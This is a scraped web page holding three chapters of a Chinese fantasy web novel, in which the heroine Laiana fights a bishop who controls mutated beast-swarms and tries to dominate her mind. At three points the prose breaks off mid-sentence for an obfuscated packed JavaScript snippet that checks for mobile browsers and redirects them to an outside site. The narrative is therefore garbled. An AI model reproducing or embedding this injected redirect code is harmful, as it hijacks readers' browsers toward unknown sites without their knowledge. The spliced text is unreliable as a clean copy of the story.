“你是说这些魔兽不仅有学习能力而且像是能共享记忆?” “我觉得是这样,这也能解释为什么卡梅里亚的近卫处理起他们越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“但我们完全没法对抗他不是吗?会死在这里的。” “大家不必绝望,阿萨特都需要威胁贵族寻求支持了,可见教皇并没有同意他的想法,最近几年大家都能看出皇帝并非任人摆布的傀儡,维斯特利亚如果不想看到第二个哈雷皇帝的诞生,就必须出手救我们。”她目光坚决,语气笃定。 “请诸位和我共进退,我们所代表的荣光绝对不会止步于此!”她说罢立刻转身走向门口。“黛西,给我一柄剑,我来守门。” 莱安娜不禁佩服起这位女士的魄力和冷静来。随即她开始思索起阿萨特刚才的话。 如果阿萨特能够利用这些魔兽的虫群效应,控制这些魔兽,是否意味着只要杀死阿萨特就能停止魔兽潮呢?毕竟只要杀死母虫不就好了吗? 但是阿萨特在哪里?操纵这些虫群魔兽是否有距离限制? 她正捋着思路,突然觉得像是有许多根针刺入大脑,强烈而尖锐的疼痛让她眼前黑了下去,耳边被嗡嗡的耳鸣声覆盖,朝前面一个踉跄,还好娜塔莉亚一把扶住了她。 “您还好吗?”娜塔莉亚担忧地看着她。莱安娜没有回答她,只是紧闭着眼睛,捂住额头,冷汗直冒,过了好一会儿才睁开眼睛。 “还好。”她调整了下呼吸,压低声音说: “去林子深处,阿萨特应该在那里,杀了他或许就能停下这一切。” 92. 孤身赴陷 没等娜塔莉娅反应过来,莱安娜立刻给卡梅里亚表达了要外出调查的意图。 声称自己或许能够找到此类魔兽失活的关窍,卡梅里亚虽然觉得她有些不正常,倒也没有阻止。 走到门外时,莱安娜却突然停住: “娜塔莉娅,我一个人去,你和哈克留在这里。” “为什么!” “这怎么行?” 两人强烈反对。 “我的实力你们清楚,我不需要保护,但卡梅里亚她们需要,这里的魔兽只会越来越多,在我杀了阿萨特之前,我需要你们帮忙守住这里。” 解开了隐匿魔法的哈克撇了撇嘴,没有说话,莱安娜知道他默认了。 但娜塔莉娅则是相当困惑地看向她:“您为何能够确定阿萨特主教一定在林中呢?” 莱安娜心中一紧:“这个解释起来有些复杂,等事情结束后再说好吗?”说罢她朝娜塔莉娅抱歉地笑了笑。娜塔莉娅觉得高阶魔法师或许有什么更厉害的探查能力,便不再多言。 和娜塔莉娅、哈克交代完,莱安娜便独自一人向密林跑去,她今天穿的一身骑装,行动十分方便。 她的核心目标不是找到阿纳托利,阿纳托利佩戴了魔导器,还和兰斯、列昂尼德一起行动,哪怕应付高阶魔兽也游刃有余。 当务之急是找到阿萨特主教,这样才能终止这看似无休止的虫群魔兽潮。 还好在林子里她使用魔法不必太过拘束。因为像亨利、安东尼奥这些熟悉她攻击招式的人都在林子外。 仅凭攻击方式无法确认她的身份,只要隐藏起面容就好,她早就用卡梅里亚门外的旗子把自己的头发和脸包了起来。 沿途在不暴露自己的前提下,她出手帮几个人解决了魔兽,走到林子中部的时候,瞧见一个倒霉蛋被异化的人缠上了。 那个戴着盔甲的人却被蛛丝缠住,倒吊在半空动弹不得。地上躺着一只被蜘蛛魔兽异化的尸体,而盘桓苍老的树干上,另一只蜘蛛则慢慢逼近。口器中两颗毒牙像是泛着白光的匕首。 “火锥。” 随着一击元素魔法攻击,那个茧被划破,人从空中落下。莱安娜用浮空魔法兜住了他,而他的战友也在树上顺利解决了蜘蛛魔兽。 见一切已经结束,她正准备离开,就听见了相当熟悉的声音。 “请等一下!”那位不知名的骑士摘下头盔,露出一双金色的眼瞳。 “亨利!” 莱安娜认出了对方,立刻转身,拔腿就跑。 一边跑一边咬牙恶毒地咒骂着:“自作聪明的东西,想要瞒天过海跑到林子来了,以为最危险的地方是最安全的地方,没想到撞上了枪口!蜘蛛怎么没把他吃了!” 她骂骂咧咧地扒拉开灌木丛,三步并两步跨了过去。 “没事,亨利刚才被裹了个严严实实,什么都没看清,我动作很快,他也不知道我的招式……不会被发现的。” 她心里反复确认自己没有露出破绽。随后把这个让人惴惴不安的问题扔到了一边,当务之急是赶紧找到阿萨特。 她深呼吸,努力捕捉脑海中那一抹一闪而过的影子和轻微的痛感。 当她面朝东南方向时痛感有了轻微的变化,像是埋得很深的针开始颤动,将要穿透血肉一般。 莱安娜睁开眼睛,绿色的眼睛中满是杀意,像是猫科动物发现猎物踪迹一样眯了起来。 她朝着锁定的方向移动,每前进一步,脑海中的影子就愈发清晰。 那个穿着白色医疗外套带着慈祥笑容的老者,独自站在树林深处,身旁全是蠕动爬行的已经完全异化为虫类魔兽的人,他似乎发现了什么,头有些僵硬地转了过来。莱安娜在自己脑中的画面里和他对视了一眼。 明明因为跑步身体已经变得暖和,但却因为这个对视,温暖就被一阵阵恶寒取代。 正奔跑着的莱安娜立刻停了下来,整个人被锁定了一般,仿佛一根若有若无的丝线被突然拉直,在一个瞬间,线两端的人开始争夺猎手的位置,搜捕和逃跑的关系变得模糊不清,阿萨特也开始找寻找她了。 出于药物的影响,面对‘母虫’的杀意,她下意识想要逃避或低头,莱安娜咒骂了两句,头痛的更厉害了一些,但仍在尚可忍受的范围内,她没有逃避,继续去直视那意识中的身影。 短暂的感知共享中,她也察觉到了阿萨特的敌意。 线两端的猎手们仿佛都做好了准备,他们终于确认了彼此的位置,摆出了进攻的架势。 “那就来算算我们的帐吧,阿萨特。” ……… 而在另一边,阿纳托利和列昂尼德还有兰斯虽然解决了麻烦,但也感到了局势的棘手。 “阿纳托利长官,我们出去后你一定要找个占卜师帮你看看,我似乎每次和你一起行动总是出状况,马突然就异化了,差点没摔死我。” 阿纳托利有些哭笑不得。 “这都什么时候了,你还有心思开玩笑!” 他们三人配合良好,兰斯擅长快攻,列昂尼德负责防御,阿纳托利包揽了攻坚。 “马为什么会异化?而且其他魔兽是从哪里来的?林子里排查过,不可能有漏掉的魔兽或者外围有魔兽进来,难道还能凭空产生不成?”兰斯质疑道。 “我怀疑这和布鲁城是同样的情况,阿萨特用了特殊药物,把人变成魔兽,难以想象他们的药物已经开发到这种程度了。” 阿纳托利一边解释着,一边觉得有些生理性的恶心。他曾想过或许某天不得不杀死变成魔兽的同胞,但没想到这天来得如此迅速。 “他们的目的是什么?不是说阿萨特的目的是为了杀死亨利吗?” 列昂尼德也有些困惑了起来。“难道制造魔兽潮是为了混淆视听? “如果是这样,那他也不应该把魔兽放在林子里,而是应该在休息区,而且阿萨特如何保证丧失意识的魔兽服从他的指挥?”兰斯补充道。 阿纳托利和他们同样困惑,他们的信息太少了,三人决定先从林子里出去。 “如果林子里的魔兽潮如此混乱,不知道休息区怎么样?不过莱安娜有娜塔莉娅和哈克跟着,还有卡梅里亚的内卫……”想到这里,阿纳托利放心了一点。 等三人从林子里出来时,休息区已经是损失惨重,亨利不知所踪,安东尼奥带领的铁卫和卡梅里亚剩余的内卫正在联手抵抗,娜塔莉娅也在帮忙。 眼前的那只被异化为蜈蚣魔兽的人体型异常庞大,还长出了密密麻麻的脚,让人看着头皮发麻。 安东尼奥都擅长近身作战,但眼前的魔兽挥舞着触角,触角上还长者倒刺,近身作战显然占不到便宜。 娜塔莉娅虽然可以提供远程打击,但这魔兽似乎已经熟悉了她的招式,每次都能准确避开。 阿纳托利和另外两人对视了一眼,他们分三路从魔兽身后偷袭。 娜塔莉娅和安东尼奥吸引了魔兽的所有注意 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卡梅里亚疲惫地叹了口气:“我们对外的联络装置被破坏,无法求援,不过不必担心,阿萨特发了疯地攻击我们,说明维斯特利亚并没有被他要挟,应该会有救援。” 阿纳托利短暂地思考了下对策,开口道: “涉及魔兽,此事由防御司全权接管,我带一些人去屏障那边防御,剩下的人继续在休息区保证安全……” 他并非不知道击杀阿萨特是最优解,但他们此时人力有限,应付来击、维持屏障已经是捉襟见肘。一切等维斯特利亚的援兵到了再从长计议。 就在他和安东尼奥沟通好休息区的防御布置,准备带一队人去屏障的时候,娜塔莉娅跟了过来。 “怎么了娜塔莉娅?你不用和我一起去屏障,我需要你和哈克留在这里,保护阿琳娜……” “阿琳娜她进林子了。” 阿纳托利的脸色瞬间变得十分难看。 “我不是让你们俩跟着她吗!你们怎么放她一个人来找我们?”他只觉得头痛得厉害,太阳穴仿佛在抽痛。 “她进林子不是为了来找你们。”娜塔莉娅回答完就开始后悔,阿纳托利的脸色好像变得更难看了一些,但还是硬着头皮继续说。 “她知道你们三个人互相配合,应该能够应付。她进林子是要去杀掉阿萨特,终结这场动乱,她要求我们保护卡梅里亚……” “她都知道我们是三个人可以应付!她一个人怎么对抗阿萨特!” 阿纳托利徒然提高了音量,娜塔莉娅被他这么情绪失控的样子吓了一跳。 “您……不必担心,她这么强,一定没有……” “她强就活该什么事情都一个人承担的吗!我们是怎么答应她的?我们答应保障她安全,把她当作同伴,结果呢!就放任她一个人去面对危险!” 他说罢,看着娜塔莉娅错愕的脸,才意识到自己刚才的失态。他只是在生气自己每次都没法及时赶上对方的脚步,他在为自己无能感到愧疚,怎么能迁怒到娜塔莉娅的身上呢? “抱歉,娜塔莉娅,我知道你们是听从了她的建议,我只是很担心她。”他调整了自己的情绪。 “长官,你去找她吧。”娜塔莉娅抬起头看着他。 “我和列昂尼德还有兰斯会守好屏障的,您去找她吧,防御司有我们在。” 阿纳托利感激地看了她一眼,便朝林子深处赶去。 93. 铤而走险 莱安娜本以为会花费更多的功夫才能接近阿萨特,按理来说,他应该会为了防止自己找到他的位置,驱使更多的魔兽来阻挠才对。 但莱安娜在冒险和他共感锁定位置之后,一路上并未遇到其他魔兽,它们仿佛很知趣地为她让出了一条路。 “陷阱?” 她揣测道。独自去对战阿萨特有很大的风险,但莱安娜并不打算放弃,因为诱惑太大了。 能够在无人发现的情况下除掉阿萨特的机会她还真是求之不得! 只要这时候杀了阿萨特,不仅可以解决眼前的麻烦,停止这场混乱不堪的灾难,还可以给约翰、克拉丽斯这些死于实验和器官交易的人报仇雪恨。 而且这也是断掉魔法师制造计划的必要之举,阿萨特是魔法师制造计划的第一执行人,掌握关键技术,杀死了他,哪怕教会改变心意要重启计划也没那么容易。 而对莱安娜来说,最有诱惑力的是:阿萨特一旦死了,这世界就只有女神和教皇知晓她的身世,阿纳托利几乎不会有机会知道她是实验体…… 因此哪怕眼前是一个有风险的陷阱,莱安娜也欣然前往。 “阿萨特敢如此行为,应该是对自己的控制能力十分有自信,我身上曾注射过药剂,他觉得也能顺利控制我……但没关系,这种控制的建立是需要时间和距离的,从我和他有感知开始直到现在,距离越近,时间越久,联系就越强,只要在身体负荷达到极限之前杀了他就行。” 想到此处,她便开启了浮空魔法,原本是打算节约魔力应付阿萨特身边的其他魔兽,但现在看来时间对她来说更加宝贵。 而在林子深处,阿萨特正坐在枯死的树桩上,不少魔兽簇拥在他的脚下,像是什么温驯的宠物。 阿萨特慈爱地看着自己的造物,他无法理解维斯特利亚为何要停止计划,明明他们已经制造出可以服从指令的新生灵了,过去的人类是多么脆弱,仅仅因为地脉变异的影响就会衰弱死去。 好可怜,阿萨特作为医生向来为病弱感到不公,他可怜自己的同类,痛心自己同胞的死亡。 阿萨特好羡慕魔兽们,动物异化成魔兽的概率可比人类中魔法师的占比高多了。所以,他主动加入了魔法师制造计划,只为帮同胞探索出了一条进化之路,让大部分人都能有更强大的力量,适应未来地脉恶化的世界。而且如果都能拥有强大的力量,那不就公平了吗?为什么大家要反对呢? 就因为成为了魔兽后有可能被人操纵意志,执行别人的命令?但他们还是人的时候不也一样服从上位者的命令吗? 世界的规则本就如此,变成魔兽不过是换了一种存在,甚至是更强大、更健康的存在,这对于那些孱弱的□□来说难道不是一种赐福吗? 还是说因为觉得实验过程牺牲了无辜的人?那就更是幽默了,所有的事业都会有所牺牲,这不是再正常不过的事情了吗? 塞德里克作为帝国的英雄发起过统一战争,流血千里,维斯特利亚联合多方杀死哈雷,牺牲无数,怎么到自己想做些实验就是草菅人命了?史书厚重,万千人淹没于丰功伟绩,战争、饥荒、疾病、天灾……哪一个不是伏尸百万? 相比之下,自己探索的进化之路花费的代价如此微不足道,为什么无法被认可。 他狠狠地剐了眼前的林木一眼,建立共感的虫群立刻一拥而上,将那颗粗壮的古树蚕食殆尽。 他满意地看着这些造物。 只是初级阶段,就如此优秀,如果维斯特利亚再给他一些时间,说不定就能保全智能。 到时候筛选一部分人保留意识,可以为帝国建言献策;一部分不保留智能,成为完美的执行者。因为共感,一旦有反抗的想法,“母虫”会立刻察觉,立刻肃清。帝国便可以永远稳固,不断向前发展。 多么美好的愿景,可惜,帝国放弃了这条路。 “那这个国家也没有继续存在的必要了。” 他下定决心要利用这次混乱呈现自己作品的优秀,然后杀掉卡梅里亚、阿纳托利。把国家拖入混乱,作为对维斯特利亚背叛他们计划的报复。 阿萨特是魔兽的“母虫”,卡梅里亚他们这些人何尝不是“母虫”,他们代表着一个群体的利益,无数人聚集簇拥在他们身边,执行他们的意志,只要除掉“母虫”,剩下的人就立刻陷入混乱与争斗。 他们以利益凝聚人心,自己只是利用药物和生物本能建立共感联系,又为何给他扣上剥夺思想的罪名。 人类的王国本和虫群无异,古往今来,剥夺思想的何止他一人,他们的种族不是一直都是如此行事的吗? “我们和虫子到底有何分别?” 他怔怔地看向林子处的小径,等待着最珍贵“孩子”的到来。他会消失在这场混乱中,但是在死前若是能展示自己最得意的作品,他也没有遗憾了。 想到此处,那毫无波澜的面容上竟然有了一丝i动容,嘴角微微勾了起来,浮现出一种释然的笑。 他穿着那身老旧的白色实验服,安静地站在魔兽群中,借着造物们的眼睛,观察猎场的每一个角落。 他宽恕自己同胞的愚蠢,虽然他们不选择正确的道路,可是他依然愿意在地脉环境恶化前给他们解脱,他会无差别地给每个人献上利落的死亡,他自诩为慈悲的圣者,给予这些注定腐化的生命解脱。 但哪怕休息区已经横尸遍野,他仍然觉得这样的表演不足以表达他作品的强大,于是由操纵了几十只中高阶魔兽爬向屏障边缘处,企图破除屏障,前往到更远的城镇和村落。 就在他感到畅快无比,不可阻挡的时候,他最喜欢的孩子终于出现了。 莱安娜从林中冲了出来,没有任何多余的动作,朝着他的方向使出了全力一击。 火光压成一条线,以极致的速度和强度穿透了目标,烈火将随即目标连带着周围一圈魔兽吞噬,强大的魔力让诸多魔兽本能地后缩。只有少数高阶魔兽出于争斗的本能试探地围绕过来,跃跃欲试。 那没有了生命体征的目标倒了下去,莱安娜又补上了一击,直到感知不到魔力波动,她方才松了口气。 “不愧是我最棒的作品,竟然从维斯特利亚的手里活了下来。” 带着笑意的声音在耳边响起,莱安娜脊背生寒,立刻戒备地展开屏障,环顾四周。 “我明明感知到他就在附近,到底在哪里?” 她咬牙切齿,愤怒地扫视着周围的魔兽,却不见人影。 “别费劲了,孩子,文森特在不知道你是实验体的前提下给你注射过最初的药物。后来你在我这里治疗时又接种了改良的药物。哪怕你有抗性,如此数量的侵蚀下,你的五感必然会受到我的影响。” 他语气耐心而平和,像是在给小辈引路,莱安娜只觉得更加恶心。 “通过刚才你的表现,我的药物十分有效,你连目标都无法锁定了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284556|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “闭嘴。” 她预计到了阿萨特的药物可能会有一定的控制作用,所以想利用一击命中,在阿萨特尝试控制前解决对方。 但没想到建立起的联系竟然能完全混淆她的五感,让她无法锁定目标。现在陷入了被动。 在确认阿萨特方位前她必须维持全面防御。 “呵呵,何必对我这么有敌意,连你的魔法都是我赋予的不是吗?” 话音未落,莱安娜的屏障就受到了攻击,她立刻朝着攻击方向打出一击,可惜被另一只中途跃起的魔兽挡住。 “为什么要杀我呢?我们才应该是一条阵线上的人不是吗?” 他的语气似乎相当惋惜,随后莱安娜正面的魔兽发动了全力一击,莱安娜顺势将其击杀,但可惜发动攻击的魔兽仍不是阿萨特本尊。 “一条阵线,可笑!我的父母家人,我的人生都是被你们毁掉的,我只想活剐了你。” 她再次用魔力探查了周围,全是魔兽。视觉被影响无法辨析,魔力感知也被混淆,她还是无法确定目标。 “该死,也不能直接把整片地区烧成灰烬,会引来其他人。” 她一边想,一边忍不住咒骂。 怒火已经烧到了头顶,但只能尽量让自己镇静下来,只有找到时机她才能有机会破局。 “我不太理解你的逻辑?这个罪名扣在我的头上简直太冤枉了。” 阿萨特的声音从身后飘来,她转身就看见了挂在树上的一只虫类魔兽正在蠕动。 她懒得废话,但利落击杀后,那声音继续从左边灌木丛里另一只魔兽处飘来。 “我不明白?你本来魔力波动微弱人,你还是胚胎状态时我们就确认了,是因为我的实验你才拥有了魔法,你能获得今天的荣誉、地位都是因为我,你不心怀感激,竟然还觉得我毁掉了你的人生?” 莱安娜从未觉得如此恶心!对方为何可以如此颠倒黑白?他不提死去的无数个胎儿,他们或许本可以健康出生;不提莱安娜实验失败的下场!不提对她的父母的追杀,让她从此变成孤儿! 传来声音的魔兽再一次被魔力凝聚的锋刃劈碎,但阿萨特声音连绵不绝,又有另一只魔兽接上了他未说完的话。 “你还是太钻牛角尖了孩子,放弃挣扎吧,你一直在抗拒被我支配,这会给你带来痛苦。你抗拒得越久,痛觉就越强烈。直到最后,你的大脑会像被千万只蚂蚁啃噬一般痛不欲生,你为何要对自己这么残忍?” “你闭嘴!!!” 莱安娜咬着牙又击杀了眼前几只晃悠的魔兽。痛觉确实愈发强烈,她得想办法…… 她擦了下额头上的冷汗。 “你杀了我之后可怎么办?看不懂形势的小可怜?”那声音带着几分惋惜。 “你这个丧心病狂的疯子死了和我没有任何关系。” “我是魔法师制造计划的执行人,而你是这个计划唯一完全成功的魔法师,你说我们有没有关系。” “加害者和受害者的关系,我杀了你是天经地义。” “呵呵,被个人情感蒙蔽双眼可不太好,我的孩子。无论你怎么想,都改变不了你是唯一成功的实验品这一事实。我们的教皇陛下已经决定要废除整个计划,如果实验被认定存在隐患或危险,你说他们会允许成功的实验体存在吗?” 躲在暗处的阿萨特看她的眼神变得格外深沉,嘴角扬起了讥讽的笑意。 94. 报仇雪恨 “他们现在只会打着正义的旗帜销毁所有和实验有关的一切,之前所有决定投资这个计划的人,现在都会对你赶尽杀绝。莱安娜,你的父母因你而死,你的家人因你而死,你是众矢之的,若是魔法师制造计划不被认可,那你的出生就是原罪,谁会站在你这边?你想保护休息区那些人,但他们若是知道了你的真实身份,会不会对你除之而后快?” 莱安娜的眼中闪过一丝阴霾,仍维持着戒备的状态,不屑地开口: “你再不自己出来,我就烧了整片地方,连同着你这些该死的怪物。” “你不会的。你一个人来找我可不只是出于对自己实力的自信,你是想独自解决我,这样你实验体的身份就能更加安全。若是烧了整片地方,一定会吸引不少人过来吧,届时我就公布一切。” 他说罢,见莱安娜脸色更加阴沉,但听了诸多残忍的事实后也并未被扰乱心神,精神防御未曾松动,她冷静地环顾四周,试探地发动攻击。 阿萨特皱起眉来,看来他想控制对方需要花费不少功夫。 两人就这样陷入了僵持,莱安娜辨别不了位置,无法精准地攻击,他也同样突破不了对方的防御。像是两只猛兽都凝视着彼此,达成了微妙的短暂平衡,只要一个时机就会扑上去咬断对方的喉咙。 阿萨特有些着急,快没有时间了,制造的魔兽是有限的,莱安娜牵制了不少战力,缓解了猎场休息区和屏障突破处的压力。 一旦那些守卫缓过来,他的计划便希望渺茫,而维斯特利亚应该已经往这边派遣援兵了,他唯一的机会就是控制莱安娜。 有这个最成功的作品相助,他说不定不仅能成功报复,事后杀出重围也并非没有可能性。 他增强了精神攻击,他不信莱安娜可以长期抵抗‘母虫’的控制,强行反抗顺从的本能会产生极大的生理痛苦。 自己没有时间,莱安娜同样没有,时间过去得越久对方的状态就会越糟糕。 但她的意志力顽强得可怕,此刻也没有溃散的征兆。阿萨特只能再想其他方法。 “啊,对了,视觉干扰。” 他想到了阴招,嘴角浮出笑意。 莱安娜正全神贯注地利用攻击试探出周围的地形以及敌人的所在。但这时,从魔兽群中走出一个人来。 她眼睛蓦然睁大。 “卡丽安娜老师。” 那位中年女士缓慢穿过形状各异的怪物,主教深蓝色的袍子随着风摆动,隐约能看见里面那身灰色的骑装,她仍穿着那双总沾着泥点子的靴子。 “莱安娜?” 那人轻轻呼唤她的名字,蓝绿色的眼睛炯炯有神,像是夏日午后铺满蓝色睡莲的池塘,和记忆中一模一样。 “莱安娜你的咒语解读怎么这么糟糕?古魔法研究报告写得狗屁不通!” “莱安娜!格里卡尔!你们两个都给我认真点!魔兽潮治理工作不能掉以轻心,难道你们指望我给你们一直善后吗?废物点心们。” “莱安娜,东区就拜托你了。” 回忆像潮水,和假象对视时瞬间涌了出来。 哪怕知道眼前不过虚幻,莱安娜也不禁心神动摇片刻。 那假象模仿着卡丽安娜的口吻开口: “你是我珍贵的学生,你却杀了…” 她还没说完,莱安娜已经回过神来发动了攻击。幻影消失,魔兽的尸体碎块落下。 “反应很快。”阿萨特的声音再次在她耳边响起。 “你真的对你的老师一点眷恋都没有吗?” “她是教廷的罪人,无须多言。” “是吗?但你刚才的精神防御确实有所松懈。” 阿萨特笑着观察她,莱安娜保持缄默,加强了防御。 “卡丽安娜还不足以打动你,那她呢?” 阿萨特话音刚落,莱安娜的眼前就出现了另一个身影,一个陌生人。 她穿着盔甲,手里提着把中型剑,身形高挑健康,卷发随风摇曳,脸部轮廓十分锋利,英气而美丽,简直像一只灵动的猛虎,那双漆黑的眼睛仿佛会说话,蕴藏着难以言喻的勃勃生气。 “这是谁?” 莱安娜觉得奇怪,仿佛觉察到了她困惑的情绪,阿萨特的声音立刻在耳边飘荡。 “莱安娜你不认识她,她该多么伤心啊!” 阿萨特故作悲痛地在她耳边叫嚣。 莱安娜反复给自己心理暗示,不要听、不要想、不要相信。这是对方在引导自己,试图动摇她的精神防御的陷阱。她甚至想捂住耳朵,但越来越强的通感让阿萨特的言语仿佛是从她脑子里冒出一般,躲无可躲。 “再想想呢?莱安娜,你应该知道她的事。你不是早知道自己的身世了吗?” “我的身世?” 莱安娜屏住了呼吸,她大抵猜到了这人是谁。 “埃莉诺,多么勇敢的孩子!出身平民但野心勃勃,凭借优秀的剑术成为了一名骑士,通过了圣都骑士团的考核,她想要建功立业,想要活出自己的人生,多么鲜活的人啊……” “闭嘴!”莱安娜朝着四周打出大范围的攻击,斩下了好几只魔兽的脑袋,但可惜仍没有攻击到阿萨特,对方仍在继续说: “如果不是因为你,她的人生本可以很精彩。”阿萨特的语气冷了下去。 “都是因为你,她才会死,你的母亲才会死。” 世界像是仍在聒噪,又像是寂静无声。答案落下,和莱安娜猜的一样。 这不过是阿萨特的花招罢了,眼前的一切都是虚妄。 她早在最初调查魔法师制造计划时便知道了一切,早就接受的事实,她怎么可能动摇? 但看到那张虚假的面容时,她的眼睛却还是模糊了起来。 手中凝聚的魔力仍没有松懈,爆发出美丽耀眼的光芒,将埃莉诺的假象尽数吞没。 魔力的冲击掀起一阵气流,吹起莱安娜凌乱的发丝,吹走了眼角的泪滴。 查魔兽潮案件时,她已经知晓自己的身世,知道自己母亲的大概的经历,却从未见过母亲的面容,也并不了解母亲到底是什么样的人。 在魔力的冲击下,埃莉诺的假象不断瓦解。看着那张逐渐破碎的面孔,莱安娜忍不住在心里问: “你在独自离开家乡,只身来圣都闯荡时是害怕多一些还是好奇多一些?” “你为什么会想成为骑士呢?” “每次考核都会去争抢第一吗?” “你的婚礼热闹吗?” “朋友们给你们献上了什么祝福呢?” …… “你有期待过我的出生吗?” 最后一个疑问不受控制地在脑海中冒出时,她的心脏仿佛拧到了一起。 她有什么资格问呢? 躲在脐带背后的小偷,命运选中的恶种,她汲取了埃莉诺的未来。 如果不是她,母亲不用参加魔法师制造计划。 如果不是她,母亲可以拥有的是另外一种人生,无论是和父亲一起过平平淡淡的小日子,还是作为骑士继续建功立业,反正不会是疲于奔命,被人追杀连尸骨都没有剩下。 泪不受控制的落下。 明明早就知道的事,早就想明白的事,明明知道这是假象,为什么还是会如此难过? 阿萨特趁她心神不宁的这一瞬间尝试继续攻击,想要击溃她的精神防线,彻底控制她。 但他只占到了短暂的便宜,莱安娜很快就回过神来,与他顽抗。阿萨特只能期待抵抗通感的痛苦会让莱安娜更快崩溃。 终于,在僵持了快十分钟后,莱安娜因痛苦蹲了下去,但哪怕这样她的防御也没有丝毫松动。 阿萨特有些心急了,阴恻恻地开口:“莱安娜别再抵抗了。明明我们才是一路人!忍受痛苦就为了给那些巴望着你死的人争取一线生机未免也太愚昧了。” 莱安娜没有理会他的话,只是将手放在自己的额头上,开始施加治疗魔法。 “别白费力气,这种疼痛并非是伤口引起,哪怕贝拉开发出的新术式也无济于事。你会感到痛苦,是因为接种了魔兽血清,你在魔力上会和我存在联系,抗拒服从‘母虫’的本能就会受到惩罚。” 他的话让莱安娜抓到了线索,眼神亮了起来。 “魔力上存在联系?这样说起来,在我打开拘束装置之前其实并没有受到影响。” 她思考着其中关窍。如果药物是让接受者在使用魔力的时候产生联系,那是否意味着只要她抑制魔力,就可以短暂地摆脱干扰判断阿萨特的位置? 她目光如炬,心里有了一个大胆的计划。 “阿萨特需要尽快控制我,他不会放过我松懈的机会,时机只有一次……他不是攻击型魔法师,向来不会正面作战,更喜欢偷袭,他大概率在我的身后或者身侧。” 她撑起身,关闭了魔力。 坚不可摧的屏障在一瞬间消失,她身边全是破绽,此刻,阿萨特终于出手了。 正前方、右后方好几只魔兽同时向她进攻,而莱安娜也如预期一般锁定了阿萨特的位置。 “焚心。” 她念出了咒语,倾注全力,带着对过往一切的愤怒。她的攻击速度很快,但阿萨特在暗处,占了躲避的先机,莱安娜的攻击偏了一些,没打到对方的心脏,但仍击中了对方的胸口。 打出这一击之后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294304|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她快速展开防御,挡住了部分伤害,但右侧背部因防御不及被击中。 拔出了背后的尖刺,伤口并不深,她笑了起来,完全忽略了背上的疼痛,眼里只有大仇得报的喜悦。 自己虽然受了伤,但阿萨特伤到了要害,哪怕逃走后再次靠混淆认知隐匿了行踪,但不过是苟延残喘。 莱安娜的头已经没有刚才难受了,显然对方因为受伤控制有所减弱,拖下去只会对她有利。 “阿萨特,你输了,出来我给你一个解脱。” 纯粹的魔力在她手间凝聚,只需要一瞬间的定位便可以彻底摧毁阿萨特。 “错了孩子,是你输了才对。” 他虽然气若游丝,但这话说得格外从容。莱安娜立刻意识到自己忽略了什么,立刻环视四周,但没有发现威胁。 过了一会儿,鼻子下方像是有虫子在爬,她用手去触碰,才发现血流了出来。 她甚至来不及思考进一步对策,思维尚未涣散,身体已经先倒了下去。 “我就没有想过能正面打过你,你是我一手创造的作品,没有人比我更清楚你有多强。” 莱安娜眼前一片模糊,但是能听见耳边对方带着笑意的声音,只觉得恶心。 “你对魔兽的毒有一定的耐受,所以我针对你的体质调制出了特别的药物,察觉到你的存在后,我就涂在了魔兽的爪牙上。不过你也不用担心,我怎么舍得你死?这个药物不会让你死,不过是破坏神经系统,让你丧失意识,届时你就可以接受控制不再有任何烦恼。” 在药物影响下,意识逐渐变得不清晰,屏障也逐渐瓦解,但没有魔兽和人敢在此时上前。 莱安娜死死盯着前方,只要阿萨特出现,她会用最后的力气发起攻击,如果实在没办法,她会在最后一刻烧了这里。 但对方显然知道她打的什么主意,在这种时候仍没有现身,只是在暗处默默加强着精神控制。 大脑的刺痛愈发强烈,对方的控制变本加厉,她的眼皮已经快睁不开了,但也要咬牙保持清醒。 “虽然没有打中他的心脏,但打中了要害,他的魔力为了控制这些家伙几乎耗尽,不能使用治愈魔法,他不过强弩之末,我只要撑得比他更久就行!” 时间过得格外缓慢,她倒在地上,指甲几乎扎进了掌心,在意识逐渐滑向昏暗时,身边有一阵风拂了过去。 凉爽、轻盈、并不寒冷。 风吹散了林地深处的血腥味,把她托起来了一般。 原本正在腐蚀她意识的攻击突然有所松动,昏昏沉沉的精神清明了几分,快要合上的眼皮又有了力气,再次撑开,映入眼帘的是一张熟悉的脸庞。 “阿纳托利。” 她说不出话,高兴转瞬即逝,随即便被巨大的焦虑取代。 “不能让他知道,绝对不可以。” 她看见阿纳托利正用剑指着前方,受药物影响她只能看见对方开合的嘴唇,却无法听清说了什么。 “他应该在和阿萨特对话,那剑指的就是阿萨特的方向,绝对不能让阿萨特告诉他……” 阿纳托利托垂眸,怀中的爱人奄奄一息,像是全然没有行动能力一般。却在一瞬间,她像再次活了过来,墨绿的眼睛中寒光乍现。 魔力在她指尖闪动,直指阿纳托利剑锋所指的方向,莱安娜在阿纳托利惊诧的目光中打出了致命一击。 “砰!” 